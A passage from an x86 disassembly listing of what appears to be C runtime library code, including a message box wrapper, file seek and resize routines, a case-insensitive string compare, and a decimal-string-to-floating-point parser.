		jz	short loc_41E4FF
		test	[ebp+var_8], 1
		jnz	short loc_41E518


loc_41E4FF:				; CODE XREF: sub_41E453+8Dj
					; sub_41E453+A4j
		cmp	dword_47C1B0, 4
		jb	short loc_41E512
		or	[ebp+arg_A], 20h
		jmp	short loc_41E537
; ---------------------------------------------------------------------------


loc_41E50E:				; CODE XREF: sub_41E453+22j
					; sub_41E453+3Dj
		xor	eax, eax
		jmp	short loc_41E547
; ---------------------------------------------------------------------------


loc_41E512:				; CODE XREF: sub_41E453+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_41E537
; ---------------------------------------------------------------------------


loc_41E518:				; CODE XREF: sub_41E453+87j
					; sub_41E453+AAj
		mov	eax, dword_47C510
		test	eax, eax
		jz	short loc_41E537
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E537
		mov	eax, dword_47C514
		test	eax, eax
		jz	short loc_41E537
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41E537:				; CODE XREF: sub_41E453+B9j
					; sub_41E453+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_47C50C	; MessageBoxA


loc_41E547:				; CODE XREF: sub_41E453+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E453	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E54C	proc near		; CODE XREF: sub_41E57D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_47C741[eax], cl
		jnz	short loc_41E579
		cmp	[esp+arg_4], 0
		jz	short loc_41E572
		movzx	eax, ds:word_4290E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E574
; ---------------------------------------------------------------------------


loc_41E572:				; CODE XREF: sub_41E54C+16j
		xor	eax, eax


loc_41E574:				; CODE XREF: sub_41E54C+24j
		test	eax, eax
		jnz	short loc_41E579
		retn
; ---------------------------------------------------------------------------


loc_41E579:				; CODE XREF: sub_41E54C+Fj
					; sub_41E54C+2Aj
		xor	eax, eax
		inc	eax
		retn
sub_41E54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E57D	proc near		; CODE XREF: sub_41B8DD+35p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E54C
		add	esp, 0Ch
		retn
sub_41E57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E58E	proc near		; CODE XREF: sub_41BF3B+54p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_41CD1B
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41E5BF
		call	sub_419600
		mov	dword ptr [eax], 9
		jmp	short loc_41E5E8
; ---------------------------------------------------------------------------


loc_41E5BF:				; CODE XREF: sub_41E58E+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:dword_420090	; SetFilePointer
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_41E5EE
		call	ds:dword_420008	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_41E5EE
		push	eax
		call	sub_419612
		pop	ecx


loc_41E5E8:				; CODE XREF: sub_41E58E+2Fj
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_41E60D
; ---------------------------------------------------------------------------


loc_41E5EE:				; CODE XREF: sub_41E58E+47j
					; sub_41E58E+51j
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_47C620[eax*4]
		and	esi, 1Fh
		lea	ecx, [esi+esi*8]
		lea	eax, [eax+ecx*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]


loc_41E60D:				; CODE XREF: sub_41E58E+5Ej
		pop	edi
		pop	esi
		leave
		retn
sub_41E58E	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	al, 0FFh
		mov	edi, edi


loc_41E630:				; CODE XREF: .text:0041E640j
					; .text:0041E660j
		or	al, al
		jz	short loc_41E666
		mov	al, [esi]
		add	esi, 1
		mov	ah, [edi]
		add	edi, 1
		cmp	ah, al
		jz	short loc_41E630
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41E630
		sbb	al, al
		sbb	al, 0FFh


loc_41E666:				; CODE XREF: .text:0041E632j
		movsx	eax, al
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E66E	proc near		; CODE XREF: sub_41D55D+2BDp

var_100C	= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_414800
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	1
		xor	esi, esi
		push	esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_41B348
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_41E798
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_41B348
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_41E798
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E73B
		mov	ebx, 1000h
		push	ebx
		lea	eax, [ebp+var_100C]
		push	esi
		push	eax
		call	sub_41C550
		push	8000h
		push	[ebp+arg_0]
		call	sub_41F241
		add	esp, 14h
		mov	[ebp+var_C], eax


loc_41E6EC:				; CODE XREF: sub_41E66E+A2j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_41E6F4
		mov	eax, edi


loc_41E6F4:				; CODE XREF: sub_41E66E+82j
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BF3B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E714
		sub	edi, eax
		test	edi, edi
		jg	short loc_41E6EC
		jmp	short loc_41E72C
; ---------------------------------------------------------------------------


loc_41E714:				; CODE XREF: sub_41E66E+9Cj
		call	sub_419609
		cmp	dword ptr [eax], 5
		jnz	short loc_41E729
		call	sub_419600
		mov	dword ptr [eax], 0Dh


loc_41E729:				; CODE XREF: sub_41E66E+AEj
		or	esi, 0FFFFFFFFh


loc_41E72C:				; CODE XREF: sub_41E66E+A4j
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	sub_41F241
		pop	ecx
		pop	ecx
		jmp	short loc_41E783
; ---------------------------------------------------------------------------


loc_41E73B:				; CODE XREF: sub_41E66E+56j
		jge	short loc_41E783
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B348
		push	[ebp+arg_0]
		call	sub_41CD1B
		add	esp, 10h
		push	eax
		call	ds:dword_420134	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_41E783
		call	sub_419600
		mov	dword ptr [eax], 0Dh
		call	sub_419609
		mov	edi, eax
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	[edi], eax


loc_41E783:				; CODE XREF: sub_41E66E+CBj
					; sub_41E66E:loc_41E73Bj ...
		push	0
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41B348
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E79A
; ---------------------------------------------------------------------------


loc_41E798:				; CODE XREF: sub_41E66E+32j
					; sub_41E66E+48j
		mov	eax, ebx


loc_41E79A:				; CODE XREF: sub_41E66E+128j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41E66E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7A9	proc near		; CODE XREF: sub_41D8CB+23p
					; sub_41D8CB+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_41E7BF
		cmp	ecx, esi
		jnb	short loc_41E7C2


loc_41E7BF:				; CODE XREF: sub_41E7A9+10j
		xor	eax, eax
		inc	eax


loc_41E7C2:				; CODE XREF: sub_41E7A9+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_41E7A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7CA	proc near		; CODE XREF: sub_41E883+4Bp
					; sub_41E883+6Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E7A9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E7FC
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E7A9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E7FC
		inc	dword ptr [esi+8]


loc_41E7FC:				; CODE XREF: sub_41E7CA+19j
					; sub_41E7CA+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E7A9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E814
		inc	dword ptr [esi+8]


loc_41E814:				; CODE XREF: sub_41E7CA+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E7A9
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E7CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E828	proc near		; CODE XREF: sub_41E883+3Bp
					; sub_41E883+41p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41E828	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E856	proc near		; CODE XREF: sub_41EDA1+1C1p
					; sub_41F2A3+18Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41E856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E883	proc near		; CODE XREF: sub_41E967+362p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_8], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41E901
		mov	[ebp+arg_8], eax


loc_41E8B5:				; CODE XREF: sub_41E883+7Aj
		mov	esi, ebx
		lea	edi, [ebp+var_14]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41E828
		push	ebx
		call	sub_41E828
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_41E7CA
		push	ebx
		call	sub_41E828
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_41E7CA
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41E8B5
		xor	edx, edx


loc_41E901:				; CODE XREF: sub_41E883+2Dj
		cmp	[ebx+8], edx
		jnz	short loc_41E935
		mov	edi, [ebx+8]


loc_41E909:				; CODE XREF: sub_41E883+ADj
		mov	ecx, [ebx+4]
		add	[ebp+var_8], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_41E909
		mov	[ebx+8], edi


loc_41E935:				; CODE XREF: sub_41E883+81j
		mov	esi, 8000h
		jmp	short loc_41E94A
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E883+CAj
		push	ebx
		call	sub_41E828
		add	[ebp+var_8], 0FFFFh
		pop	ecx


loc_41E94A:				; CODE XREF: sub_41E883+B7j
		test	[ebx+8], esi
		jz	short loc_41E93C
		mov	ecx, [ebp+var_4]
		mov	ax, word ptr [ebp+var_8]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41E883	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E967	proc near		; CODE XREF: sub_41DBBD+22p
					; sub_41DC00+22p

var_58		= byte ptr -58h
var_41		= byte ptr -41h
var_3C		= dword	ptr -3Ch
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_58]
		mov	[ebp+var_8], esi
		mov	[ebp+var_2C], eax
		mov	[ebp+var_1C], 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], eax
		mov	[ebp+arg_8], edi


loc_41E9A8:				; CODE XREF: sub_41E967+58j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41E9BE
		cmp	cl, 9
		jz	short loc_41E9BE
		cmp	cl, 0Ah
		jz	short loc_41E9BE
		cmp	cl, 0Dh
		jnz	short loc_41E9C1


loc_41E9BE:				; CODE XREF: sub_41E967+46j
					; sub_41E967+4Bj ...
		inc	edi
		jmp	short loc_41E9A8
; ---------------------------------------------------------------------------


loc_41E9C1:				; CODE XREF: sub_41E967+55j
					; sub_41E967+B5j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EC40	; default
					; jumptable 0041E9CD case 10
		jmp	ds:off_41ED71[eax*4] ; switch jump


loc_41E9D4:				; DATA XREF: .text:off_41ED71o
		cmp	bl, 31h		; jumptable 0041E9CD case 0
		jl	short loc_41E9E5
		cmp	bl, 39h
		jg	short loc_41E9E5


loc_41E9DE:				; CODE XREF: sub_41E967+CEj
					; sub_41E967+129j
		push	3
		jmp	loc_41EBFF
; ---------------------------------------------------------------------------


loc_41E9E5:				; CODE XREF: sub_41E967+70j
					; sub_41E967+75j
		cmp	bl, byte_42E0F8
		jnz	short loc_41E9F4


loc_41E9ED:				; CODE XREF: sub_41E967+135j
		push	5
		jmp	loc_41EC36
; ---------------------------------------------------------------------------


loc_41E9F4:				; CODE XREF: sub_41E967+84j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EA1E
		dec	eax
		dec	eax
		jz	short loc_41EA12
		sub	eax, 3
		jz	loc_41EAAB
		mov	[ebp+var_8], esi
		dec	edi
		jmp	loc_41EBBD
; ---------------------------------------------------------------------------


loc_41EA12:				; CODE XREF: sub_41E967+97j
		push	2
		pop	eax
		mov	[ebp+var_2C], 8000h
		jmp	short loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EA1E:				; CODE XREF: sub_41E967+93j
		and	[ebp+var_2C], 0
		push	2
		pop	eax
		jmp	short loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EA27:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		xor	eax, eax	; jumptable 0041E9CD case 1
		inc	eax
		cmp	bl, 31h
		mov	[ebp+var_14], eax
		jl	short loc_41EA37
		cmp	bl, 39h
		jle	short loc_41E9DE


loc_41EA37:				; CODE XREF: sub_41E967+C9j
		cmp	bl, byte_42E0F8
		jnz	short loc_41EA46


loc_41EA3F:				; CODE XREF: sub_41E967+182j
		push	4
		jmp	loc_41EC36
; ---------------------------------------------------------------------------


loc_41EA46:				; CODE XREF: sub_41E967+D6j
		cmp	bl, 2Bh
		jz	short loc_41EA80
		cmp	bl, 2Dh
		jz	short loc_41EA80
		cmp	bl, 30h
		jz	loc_41E9C1


loc_41EA59:				; CODE XREF: sub_41E967+1DAj
		cmp	bl, 43h
		jle	loc_41EBB9
		cmp	bl, 45h
		jle	short loc_41EA79
		cmp	bl, 63h
		jle	loc_41EBB9
		cmp	bl, 65h
		jg	loc_41EBB9


loc_41EA79:				; CODE XREF: sub_41E967+FEj
		push	6
		jmp	loc_41EC36
; ---------------------------------------------------------------------------


loc_41EA80:				; CODE XREF: sub_41E967+E2j
					; sub_41E967+E7j ...
		dec	edi
		push	0Bh
		jmp	loc_41EC36
; ---------------------------------------------------------------------------


loc_41EA88:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		cmp	bl, 31h		; jumptable 0041E9CD case 2
		jl	short loc_41EA96
		cmp	bl, 39h
		jle	loc_41E9DE


loc_41EA96:				; CODE XREF: sub_41E967+124j
		cmp	bl, byte_42E0F8
		jz	loc_41E9ED
		cmp	bl, 30h
		jnz	loc_41EC0B


loc_41EAAB:				; CODE XREF: sub_41E967+9Cj
		xor	eax, eax
		inc	eax
		jmp	loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EAB3:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		mov	[ebp+var_14], 1	; jumptable 0041E9CD case 3
		jmp	short loc_41EAD3
; ---------------------------------------------------------------------------


loc_41EABC:				; CODE XREF: sub_41E967+178j
		cmp	[ebp+var_C], 19h
		jnb	short loc_41EACD
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		jmp	short loc_41EAD0
; ---------------------------------------------------------------------------


loc_41EACD:				; CODE XREF: sub_41E967+159j
		inc	[ebp+var_10]


loc_41EAD0:				; CODE XREF: sub_41E967+164j
		mov	bl, [edi]
		inc	edi


loc_41EAD3:				; CODE XREF: sub_41E967+153j
		movzx	eax, bl
		push	eax
		call	sub_41C33B
		test	eax, eax
		pop	ecx
		jnz	short loc_41EABC
		cmp	bl, byte_42E0F8
		jnz	short loc_41EB2F
		jmp	loc_41EA3F
; ---------------------------------------------------------------------------


loc_41EAEE:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		xor	eax, eax	; jumptable 0041E9CD case 4
		inc	eax
		cmp	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		jnz	short loc_41EB21
		jmp	short loc_41EB05
; ---------------------------------------------------------------------------


loc_41EAFF:				; CODE XREF: sub_41E967+1A1j
		dec	[ebp+var_10]
		mov	bl, [edi]
		inc	edi


loc_41EB05:				; CODE XREF: sub_41E967+196j
		cmp	bl, 30h
		jz	short loc_41EAFF
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB0C:				; CODE XREF: sub_41E967+1C6j
		cmp	[ebp+var_C], 19h
		jnb	short loc_41EB1E
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		dec	[ebp+var_10]


loc_41EB1E:				; CODE XREF: sub_41E967+1A9j
		mov	bl, [edi]
		inc	edi


loc_41EB21:				; CODE XREF: sub_41E967+194j
					; sub_41E967+1A3j
		movzx	eax, bl
		push	eax
		call	sub_41C33B
		test	eax, eax
		pop	ecx
		jnz	short loc_41EB0C


loc_41EB2F:				; CODE XREF: sub_41E967+180j
		cmp	bl, 2Bh
		jz	loc_41EA80
		cmp	bl, 2Dh
		jz	loc_41EA80
		jmp	loc_41EA59
; ---------------------------------------------------------------------------


loc_41EB46:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		movzx	eax, bl		; jumptable 0041E9CD case 5
		push	eax
		mov	[ebp+var_28], 1
		call	sub_41C33B
		test	eax, eax
		pop	ecx
		jz	loc_41EC0B
		push	4
		jmp	loc_41EBFF
; ---------------------------------------------------------------------------


loc_41EB66:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		cmp	bl, 31h		; jumptable 0041E9CD case 6
		lea	ecx, [edi-2]
		mov	[ebp+arg_8], ecx
		jl	short loc_41EB7A
		cmp	bl, 39h
		jle	loc_41EBFD


loc_41EB7A:				; CODE XREF: sub_41E967+208j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	loc_41EC34
		dec	eax
		dec	eax
		jz	loc_41EC28
		sub	eax, 3
		jnz	loc_41EC4E


loc_41EB97:				; CODE XREF: sub_41E967+2A2j
		push	8
		jmp	loc_41EC36
; ---------------------------------------------------------------------------


loc_41EB9E:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		mov	[ebp+var_24], 1	; jumptable 0041E9CD case 8
		jmp	short loc_41EBAA
; ---------------------------------------------------------------------------


loc_41EBA7:				; CODE XREF: sub_41E967+246j
		mov	bl, [edi]
		inc	edi


loc_41EBAA:				; CODE XREF: sub_41E967+23Ej
		cmp	bl, 30h
		jz	short loc_41EBA7
		cmp	bl, 31h
		jl	short loc_41EBB9
		cmp	bl, 39h
		jle	short loc_41EBFD


loc_41EBB9:				; CODE XREF: sub_41E967+F5j
					; sub_41E967+103j ...
		dec	edi


loc_41EBBA:				; CODE XREF: sub_41E967+2A7j
					; sub_41E967+2E2j
		mov	[ebp+var_8], esi


loc_41EBBD:				; CODE XREF: sub_41E967+A6j
					; sub_41E967+2ECj ...
		cmp	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_41ED1C
		push	18h
		pop	eax
		cmp	[ebp+var_C], eax
		jbe	short loc_41EBE4
		cmp	[ebp+var_41], 5
		jl	short loc_41EBDD
		inc	[ebp+var_41]


loc_41EBDD:				; CODE XREF: sub_41E967+271j
		dec	esi
		inc	[ebp+var_10]
		mov	[ebp+var_C], eax


loc_41EBE4:				; CODE XREF: sub_41E967+26Bj
		cmp	[ebp+var_C], 0
		jbe	loc_41ED43
		jmp	loc_41ECB8
; ---------------------------------------------------------------------------


loc_41EBF3:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		cmp	bl, 31h		; jumptable 0041E9CD case 7
		jl	short loc_41EC06
		cmp	bl, 39h
		jg	short loc_41EC06


loc_41EBFD:				; CODE XREF: sub_41E967+20Dj
					; sub_41E967+250j
		push	9


loc_41EBFF:				; CODE XREF: sub_41E967+79j
					; sub_41E967+1FAj
		pop	eax
		dec	edi
		jmp	loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EC06:				; CODE XREF: sub_41E967+28Fj
					; sub_41E967+294j
		cmp	bl, 30h
		jz	short loc_41EB97


loc_41EC0B:				; CODE XREF: sub_41E967+13Ej
					; sub_41E967+1F2j
		mov	edi, [ebp+arg_8]
		jmp	short loc_41EBBA
; ---------------------------------------------------------------------------


loc_41EC10:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		cmp	[ebp+arg_18], 0	; jumptable 0041E9CD case 11
		jz	short loc_41EC3C
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+arg_8], ecx
		jz	short loc_41EC34
		dec	eax
		dec	eax
		jnz	short loc_41EC4E


loc_41EC28:				; CODE XREF: sub_41E967+221j
		or	[ebp+var_1C], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EC34:				; CODE XREF: sub_41E967+219j
					; sub_41E967+2BBj
		push	7


loc_41EC36:				; CODE XREF: sub_41E967+88j
					; sub_41E967+DAj ...
		pop	eax
		jmp	loc_41E9C1
; ---------------------------------------------------------------------------


loc_41EC3C:				; CODE XREF: sub_41E967+2ADj
		push	0Ah
		pop	eax
		dec	edi


loc_41EC40:				; CODE XREF: sub_41E967+60j
					; sub_41E967+66j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041E9CD case 10
		jnz	loc_41E9C1
		jmp	loc_41EBBA
; ---------------------------------------------------------------------------


loc_41EC4E:				; CODE XREF: sub_41E967+22Aj
					; sub_41E967+2BFj
		mov	[ebp+var_8], esi
		mov	edi, ecx
		jmp	loc_41EBBD
; ---------------------------------------------------------------------------


loc_41EC58:				; CODE XREF: sub_41E967+66j
					; DATA XREF: .text:off_41ED71o
		mov	[ebp+var_8], esi ; jumptable 0041E9CD case 9
		mov	[ebp+var_24], 1
		xor	esi, esi
		jmp	short loc_41EC7B
; ---------------------------------------------------------------------------


loc_41EC66:				; CODE XREF: sub_41E967+320j
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EC8B
		mov	bl, [edi]
		inc	edi


loc_41EC7B:				; CODE XREF: sub_41E967+2FDj
		movzx	eax, bl
		push	eax
		call	sub_41C33B
		test	eax, eax
		pop	ecx
		jnz	short loc_41EC66
		jmp	short loc_41EC90
; ---------------------------------------------------------------------------


loc_41EC8B:				; CODE XREF: sub_41E967+30Fj
		mov	esi, 1451h


loc_41EC90:				; CODE XREF: sub_41E967+322j
		mov	[ebp+var_20], esi
		movzx	eax, bl
		jmp	short loc_41EC9E
; ---------------------------------------------------------------------------


loc_41EC98:				; CODE XREF: sub_41E967+340j
		mov	al, [edi]
		inc	edi
		movzx	eax, al


loc_41EC9E:				; CODE XREF: sub_41E967+32Fj
		push	eax
		call	sub_41C33B
		test	eax, eax
		pop	ecx
		jnz	short loc_41EC98
		mov	esi, [ebp+var_8]
		dec	edi
		jmp	loc_41EBBD
; ---------------------------------------------------------------------------


loc_41ECB2:				; CODE XREF: sub_41E967+355j
		dec	[ebp+var_C]
		inc	[ebp+var_10]


loc_41ECB8:				; CODE XREF: sub_41E967+287j
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_41ECB2
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41E883
		mov	eax, [ebp+var_20]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_1C], ecx
		jge	short loc_41ECDD
		neg	eax


loc_41ECDD:				; CODE XREF: sub_41E967+372j
		add	eax, [ebp+var_10]
		cmp	[ebp+var_24], ecx
		jnz	short loc_41ECE8
		add	eax, [ebp+arg_10]


loc_41ECE8:				; CODE XREF: sub_41E967+37Cj
		cmp	[ebp+var_28], ecx
		jnz	short loc_41ECF0
		sub	eax, [ebp+arg_14]


loc_41ECF0:				; CODE XREF: sub_41E967+384j
		cmp	eax, 1450h
		jg	short loc_41ED25
		cmp	eax, 0FFFFEBB0h
		jl	short loc_41ED3C
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41F4DB
		mov	edx, [ebp+var_3C]
